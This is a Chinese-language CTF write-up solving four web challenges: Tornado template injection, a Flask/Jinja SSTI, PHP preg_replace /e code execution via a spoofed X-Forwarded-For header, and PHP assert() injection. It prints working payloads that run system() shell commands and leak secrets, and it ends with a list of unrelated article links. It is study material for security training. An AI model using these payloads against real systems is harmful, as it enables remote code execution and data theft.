0x15 easytornado

题目描述:Tornado 框架
打开题目发现有三个文件

全部为提示信息:

/flag.txt
flag in /fllllllllllllag  #flag文件名称
/welcome.txt
render  #题目提示渲染
/hints.txt
md5(cookie_secret+md5(filename)) #md5提示计算方法为文件名md5加cookie_secret

我们可以看到每个文件的url格式为/file?filename=/hints.txt&filehash=ba0eae6fbd190d79838d83be2eb4eee0
那么我们flag的格式也相同,为/file?filename=/fllllllllllllag&filehash=XXX
这时这个题目的重点就变成了如何获取cookie_secret的值,当我们输入一个不存在的文件时,返回错误,这部分存在render注入。

但是这里需要注意过滤了所有的操作符,*+等等都不可用,Tornado 框架中的cookie值存在于RequestHandler.application.settings,而handler.settings对象中handler指向RequestHandler,而RequestHandler.settings又指向self.application.settings,那么使用handler.settings即可完成对cookie 的访问。
hash部分的值就为md5(9647c854-578a-4b2b-9ba4-abbe61ce1c98+md5(’/fllllllllllllag’))
最终的payload为:

file?filename=/fllllllllllllag&filehash=1786322ce1387e0b8207690c4be3c028

返回结果

flag为:

flag{3f39aea39db345769397ae895edb9c70}

0x16 shrine

题目描述: TokyoWesterns CTF
题目源码为:

import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):def safe_jinja(s):s = s.replace('(', '').replace(')', '')blacklist = ['config', 'self']return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + sreturn flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':app.run(debug=True)

可以看到一共有两个装饰器,分别装饰了根目录和shrine目录,发生渲染的是shrine目录,我们进入看看。
发现SSTI,但根据源码信息可知过滤了config,而flag值就被设置在config中,当我们直接输入从config时,会将config置为None,所以这里选用get_flashed_message()函数,获取闪现信息。
payload为

{{get_flashed_messages().__globals__['current_app'].config}}

结果为
拿到flag

flag{shrine_is_good_ssti}

0x17 isc-05

题目描述:其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统。
这个题目提示了出现问题的地方在于设备维护中心页面,所以我们直接进去。
url为:http://111.200.241.244:63219/index.php?page=index
发现页面直接显示了index。
基本page是输入什么回显什么,这里使用php伪协议读取文件源码试试php://filter/read=convert.base64-encode/resource=index.php
得到返回的base64结果。

PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwoKQHNlc3Npb25fc3RhcnQoKTsKcG9zaXhfc2V0dWlkKDEwMDApOwoKCj8+CjwhRE9DVFlQRSBIVE1MPgo8aHRtbD4KCjxoZWFkPgogICAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgogICAgPG1ldGEgbmFtZT0icmVuZGVyZXIiIGNvbnRlbnQ9IndlYmtpdCI+CiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UsY2hyb21lPTEiPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBtYXhpbXVtLXNjYWxlPTEiPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJsYXl1aS9jc3MvbGF5dWkuY3NzIiBtZWRpYT0iYWxsIj4KICAgIDx0aXRsZT7orr7lpIfnu7TmiqTkuK3lv4M8L3RpdGxlPgogICAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgo8L2hlYWQ+Cgo8Ym9keT4KICAgIDx1bCBjbGFzcz0ibGF5dWktbmF2Ij4KICAgICAgICA8bGkgY2xhc3M9ImxheXVpLW5hdi1pdGVtIGxheXVpLXRoaXMiPjxhIGhyZWY9Ij9wYWdlPWluZGV4Ij7kupHlubPlj7Dorr7lpIfnu7TmiqTkuK3lv4M8L2E+PC9saT4KICAgIDwvdWw+CiAgICA8ZmllbGRzZXQgY2xhc3M9ImxheXVpLWVsZW0tZmllbGQgbGF5dWktZmllbGQtdGl0bGUiIHN0eWxlPSJtYXJnaW4tdG9wOiAzMHB4OyI+CiAgICAgICAgPGxlZ2VuZD7orr7lpIfliJfooag8L2xlZ2VuZD4KICAgIDwvZmllbGRzZXQ+CiAgICA8dGFibGUgY2xhc3M9ImxheXVpLWhpZGUiIGlkPSJ0ZXN0Ij48L3RhYmxlPgogICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2h0bWwiIGlkPSJzd2l0Y2hUcGwiPgogICAgICAgIDwhLS0g6L+Z6YeM55qEIGNoZWNrZWQg55qE54q25oCB5Y+q5piv5ryU56S6IC0tPgogICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ic2V4IiB2YWx1ZT0ie3tkLmlkfX0iIGxheS1za2luPSJzd2l0Y2giIGxheS10ZXh0PSLlvIB85YWzIiBsYXktZmlsdGVyPSJjaGVja0RlbW8iIHt7IGQuaWQ9PTEgMDAwMyA/ICdjaGVja2VkJyA6ICcnIH19PgogICAgPC9zY3JpcHQ+CiAgICA8c2NyaXB0IHNyYz0ibGF5dWkvbGF5dWkuanMiIGNoYXJzZXQ9InV0Zi04Ij48L3NjcmlwdD4KICAgIDxzY3JpcHQ+CiAgICBsYXl1aS51c2UoJ3RhYmxlJywgZnVuY3Rpb24oKSB7CiAgICAgICAgdmFyIHRhYmxlID0gbGF5dWkudGFibGUsCiAgICAgICAgICAgIGZvcm0gPSBsYXl1aS5mb3JtOwoKICAgICAgICB0YWJsZS5yZW5kZXIoewogICAgICAgICAgICBlbGVtOiAnI3Rlc3QnLAogICAgICAgICAgICB1cmw6ICcvc29tcnRoaW5nLmpzb24nLAogICAgICAgICAgICBjZWxsTWluV2lkdGg6IDgwLAogICAgICAgICAgICBjb2xzOiBbCiAgICAgICAgICAgICAgICBbCiAgICAgICAgICAgICAgICAgICAgeyB0eXBlOiAnbnVtYmVycycgfSwKICAgICAgICAgICAgICAgICAgICAgeyB0eXBlOiAnY2hlY2tib3gnIH0sCiAgICAgICAgICAgICAgICAgICAgIHsgZmllbGQ6ICdpZCcsIHRpdGxlOiAnSUQnLCB3aWR0aDogMTAwLCB1bnJlc2l6ZTogdHJ1ZSwgc29ydDogdHJ1ZSB9LAogICAgICAgICAgICAgICAgICAgICB7IGZpZWxkOiAnbmFtZScsIHRpdGxlOiAn6K6+5aSH5ZCNJywgdGVtcGxldDogJyNuYW1lVHBsJyB9LAogICAgICAgICAgICAgICAgICAgICB7IGZpZWxkOiAnYXJlYScsIHRpdGxlOiAn5Yy65Z+fJyB9LAogICAgICAgICAgICAgICAgICAgICB7IGZpZWxkOiAnc3RhdHVzJywgdGl0bGU6ICfnu7TmiqTnirbmgIEnLCBtaW5XaWR0aDogMTIwLCBzb3J0OiB0cnVlIH0sCiAgICAgICAgICAgICAgICAgICAgIHsgZmllbGQ6ICdjaGVjaycsIHRpdGxlOiAn6K6+5aSH5byA5YWzJywgd2lkdGg6IDg1LCB0ZW1wbGV0OiAnI3N3aXRjaFRwbCcsIHVucmVzaXplOiB0cnVlIH0KICAgICAgICAgICAgICAgIF0KICAgICAgICAgICAgXSwKICAgICAgICAgICAgcGFnZTogdHJ1ZQogICAgICAgIH0pOwogICAgfSk7CiAgICA8L3NjcmlwdD4KICAgIDxzY3JpcHQ+CiAgICBsYXl1aS51c2UoJ2VsZW1lbnQnLCBmdW5jdGlvbigpIHsKICAgICAgICB2YXIgZWxlbWVudCA9IGxheXVpLmVsZW1lbnQ7IC8v5a+86Iiq55qEaG92ZXLmlYjmnpzjgIHkuoznuqfoj5zljZXnrYnlip/og73vvIzpnIDopoHkvp3otZZlbGVtZW505qih5Z2XCiAgICAgICAgLy/nm5HlkKzlr7zoiKrngrnlh7sKICAgICAgICBlbGVtZW50Lm9uKCduYXYoZGVtbyknLCBmdW5jdGlvbihlbGVtKSB7CiAgICAgICAgICAgIC8vY29uc29sZS5sb2coZWxlbSkKICAgICAgICAgICAgbGF5ZXIubXNnKGVsZW0udGV4dCgpKTsKICAgICAgICB9KTsKICAgIH0pOwogICAgPC9zY3JpcHQ+Cgo8P3BocAoKJHBhZ2UgPSAkX0dFVFtwYWdlXTsKCmlmIChpc3NldCgkcGFnZSkpIHsKCgoKaWYgKGN0eXBlX2FsbnVtKCRwYWdlKSkgewo/PgoKICAgIDxiciAvPjxiciAvPjxiciAvPjxiciAvPgogICAgPGRpdiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXIiPgogICAgICAgIDxwIGNsYXNzPSJsZWFkIj48P3BocCBlY2hvICRwYWdlOyBkaWUoKTs/PjwvcD4KICAgIDxiciAvPjxiciAvPjxiciAvPjxiciAvPgoKPD9waHAKCn1lbHNlewoKPz4KICAgICAgICA8YnIgLz48YnIgLz48YnIgLz48YnIgLz4KICAgICAgICA8ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlciI+CiAgICAgICAgICAgIDxwIGNsYXNzPSJsZWFkIj4KICAgICAgICAgICAgICAgIDw/cGhwCgogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkcGFnZSwgJ2lucHV0JykgPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgZGllKCk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkcGFnZSwgJ3RhOnRleHQnKSA+IDApIHsKICAgICAgICAgICAgICAgICAgICBkaWUoKTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRwYWdlLCAndGV4dCcpID4gMCkgewogICAgICAgICAgICAgICAgICAgIGRpZSgpOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIGlmICgkcGFnZSA9PT0gJ2luZGV4LnBocCcpIHsKICAgICAgICAgICAgICAgICAgICBkaWUoJ09rJyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaW5jbHVkZSgkcGFnZSk7CiAgICAgICAgICAgICAgICAgICAgZGllKCk7CiAgICAgICAgICAgICAgICA/PgogICAgICAgIDwvcD4KICAgICAgICA8YnIgLz48YnIgLz48YnIgLz48YnIgLz4KCjw/cGhwCn19CgoKLy/mlrnkvr/nmoTlrp7njrDovpPlhaXovpPlh7rnmoTlip/og70s5q2j5Zyo5byA5Y+R5Lit55qE5Yqf6IO977yM5Y+q6IO95YaF6YOo5Lq65ZGY5rWL6K+VCgppZiAoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ10gPT09ICcxMjcuMC4wLjEnKSB7CgogICAgZWNobyAiPGJyID5XZWxjb21lIE15IEFkbWluICEgPGJyID4iOwoKICAgICRwYXR0ZXJuID0gJF9HRVRbcGF0XTsKICAgICRyZXBsYWNlbWVudCA9ICRfR0VUW3JlcF07CiAgICAkc3ViamVjdCA9ICRfR0VUW3N1Yl07CgogICAgaWYgKGlzc2V0KCRwYXR0ZXJuKSAmJiBpc3NldCgkcmVwbGFjZW1lbnQpICYmIGlzc2V0KCRzdWJqZWN0KSkgewogICAgICAgIHByZWdfcmVwbGFjZSgkcGF0dGVybiwgJHJlcGxhY2VtZW50LCAkc3ViamVjdCk7CiAgICB9ZWxzZXsKICAgICAgICBkaWUoKTsKICAgIH0KCn0KCgoKCgo/PgoKPC9ib2R5PgoKPC9odG1sPgo=

解密后的结果为:

<?php
$page = $_GET[page];
if (isset($page)) {
if (ctype_alnum($page)) {
?><br /><br /><br /><br /><div style="text-align:center"><p class="lead"><?php echo $page; die();?></p><br /><br /><br /><br />
<?php
}else{
?><br /><br /><br /><br /><div style="text-align:center"><p class="lead"><?phpif (strpos($page, 'input') > 0) {die();}if (strpos($page, 'ta:text') > 0) {die();}if (strpos($page, 'text') > 0) {die();}if ($page === 'index.php') {die('Ok');}include($page);die();?></p><br /><br /><br /><br />
<?php
}}
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {echo "<br >Welcome My Admin ! <br >";$pattern = $_GET[pat];$replacement = $_GET[rep];$subject = $_GET[sub];if (isset($pattern) && isset($replacement) && isset($subject)) {preg_replace($pattern, $replacement, $subject);}else{die();}
}
?>
</body>
</html>

可以看出page输入只是为了include不同的文件,且过滤了很多方法,只允许index.php回显ok,我们也不知道里面有什么文件,难以利用,那么出现问题的地方在于后半段正则匹配中。
preg_replace将匹配一个字符串并替换,在这里三个参数都是我们所控制的,所以利用正则/e执行代码的特性可以构造危险函数执行。
函数原型为:

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

其中:
pattern参数为要匹配的正则表达式
replacement参数为要替换成的字符串
subject为要匹配的字符串
在这个函数中正则表达式有一个修饰符为/e参数,e eval() 对匹配后的元素执行函数。
当传入的参数可控,替换完毕后的 replacement 参数会当作 PHP 代码执行。
那么这个题目在3个参数可控的条件下很容易的构造:

index.php?pat=/test/e&rep=system(%27ls%27)&sub=test

返回当前目录下的文件。

观察路径s3chahahaDir特殊,于是使用多命令执行穿越目录。

index.php?pat=/test/e&rep=system(%27cd%20s3chahahaDir;ls%27)&sub=test

最后构造读取flag文件即可。
这里flag居然是一个文件夹。。。。所以还要穿越一次目录。

最终payload为:

index.php?pat=/test/e&rep=system(%27cd%20s3chahahaDir/flag;ls;cat%20flag.php%27)&sub=test

拿到flag:
cyberpeace{233047cf66301c4be618056c00ec3209}

0x18 mfw

这个题目一开始就给了提示。
由此猜测.git泄露,使用Githack打包下载,得到网站源码。
在/templates目录中找到flag.php但打开是空的,所以还是先从index.php中看。
源码部分为:

<?php
if (isset($_GET['page'])) {$page = $_GET['page'];
} else {$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

这里出现问题的点在于assert函数。
这个函数将括号中的函数执行,我们通过构造特殊的参数闭合strpos函数,使其执行我们的恶意代码。
当传入的 page为')or system("cat /templates/flag.php");//时,函数将变成

assert("strpos('') or system("cat templates/flag.php");//,'..')===false")
//符后的被注释

显然strpos函数内容不为真但or符后的函数被执行为真。
查看源码得到flag。
cyberpeace{52e4b1e92109724fb1332f9bd4abe8e7}

CTF_Web:攻防世界高手区进阶题WP(15-18)相关推荐

  1. android 克隆攻击原理,通过CTF学习Android漏洞(炸弹引爆+dex修复)2015 RCTF / 攻防世界高手区 where...

    0x00 说明 刷android ctf题,感觉涉及的点不错,分享一下做题过程. 题目: 2015 RCTF / 攻防世界高手区 where 描述(提示): Where is the flag.(Th ...

  2. XCTF攻防世界练习区-web题(新手)

    XCTF攻防世界练习区-web题(新手) https://adworld.xctf.org.cn/task?now_checked_num=3&name=web 001 view_source ...

  3. 攻防世界高手区easytornado过关

    题目名叫easytornado,应该是tornado框架的漏洞. 一进主页,给了三个链接,一个一个点开看找思路 点开第一个链接 提示flag在 /fllllllllllllag中直接跳转过去肯定不行 ...

  4. 攻防世界高手进阶区 ——反应釜开关控制

    攻防世界高手进阶区 --反应釜开关控制 题目没什么信息.在这里插入图片描述 1.分析文件 运行一下,可能为栈溢出的题. checkse 无栈溢出保护,无地址随机化,只有堆栈不可执行. 栈溢出可能性大. ...

  5. 攻防世界高手进阶区 ——Mary_Morton

    攻防世界高手进阶区 --Mary_Morton 不容易呀,这都已经是第七题了,继续加油! 一,老规矩,先分析一下文件 checksec一下 发现开启了栈溢出,可能这个题就是学习栈溢出漏洞绕过的. 运行 ...

  6. 攻防世界高手进阶区——dice_game

    攻防世界高手进阶区--dice_game 题目里面啥都没有. 一.分析文件 checksec 只有栈溢出保护关闭了,其他都是开着的. 运行 可以看出是要猜数字,猜对50次. ida逆向 __int64 ...

  7. 攻防世界高手进阶区 ——forgot

    攻防世界高手进阶区 --forgot 看了半天,啥也没看懂,做出来了才发现啥也不是. 一,分析文件 checksec 还好,只开启了堆栈不可执行. 运行一下 翻译了一下,应该是判断邮箱是否合乎规矩. ...

  8. 逆向迷宫题总结(持续更新) 2020华南师大CTF新生赛maze,攻防世界新手区:NJUPT CTF 2017,BUUCTF:不一样的flag

    CTF逆向入门:迷宫题学习记录(持续更新) ** 目录 **CTF逆向入门:迷宫题学习记录(持续更新)** (前言) 一. 逆向迷宫题概述 二. 具体题目分析 1. 2019华南师大CTF新生赛maz ...

  9. 攻防世界we区newer题目

    WEB攻防区新手题(任务3)(本周) 题目:'攻防世界'新手区 1.view_source 题目简介: 右键呼不出开发者模式,是JS禁用了鼠标右键,按F12快捷键调用即可. 相关代码段: docume ...

最新文章

  1. Ubuntu 16.04 利用qemu模拟ARM开发板
  2. Python入门100题 | 第030题
  3. 数据分析与挖掘-python常用数据预处理函数
  4. unity json解析IPA后续
  5. 神经网络反向传导算法
  6. 浙江大学PTA 数据结构 习题2.2 数组循环左移 (20 分)
  7. 社工库源码mysql_社工库源码
  8. 解决百度文库文字无法复制
  9. java超类_Java——超类和子类对象之间的转换
  10. 应用计算机散热的原理是什么,电脑的主机风扇散热原理
  11. 恶意代码分析实战Lab3-1
  12. 大一新生先学C语言编程还是先学C语言的数据结构和算法?
  13. html5如何修改登录页面的背景,HTML5 月夜背景的用户登录界面
  14. 智能手机成瘾者的大脑功能和结构的改变
  15. 黄仁勋专访:经济不景气又怎样?未来元宇宙将「全民免费」!
  16. 百度智能云AI接口的植物识别
  17. 生成树协议三姐妹:STP、RSTP 和 MSTP,附思科和华为双厂商命令示例
  18. Kinetics400/600/700数据集免费下载
  19. 什么叫做「数据驱动方法」
  20. 12月DB-Engines数据库排名,你猜谁会是第一?

热门文章

  1. 英语--定语从句疑难解答
  2. Linux操作系统的基本命令
  3. 调试winddows程序(windbg 和 Debug Diagnostic Tool)
  4. 《Web前端工程师修炼之道》学习笔记
  5. 插入u盘有图标但计算机没盘,电脑没插u盘却有u盘图标显示如何解决
  6. 微信小程序如何页面分享,如何图片长按识别二维码等问题汇总
  7. Markdown 中的表格合并单元格
  8. 只有两种直播:淘宝直播和其它直播
  9. 基于微信小程序的水果销售商城的设计与实现
  10. 老司机 iOS 周报 #62 | 2019-04-08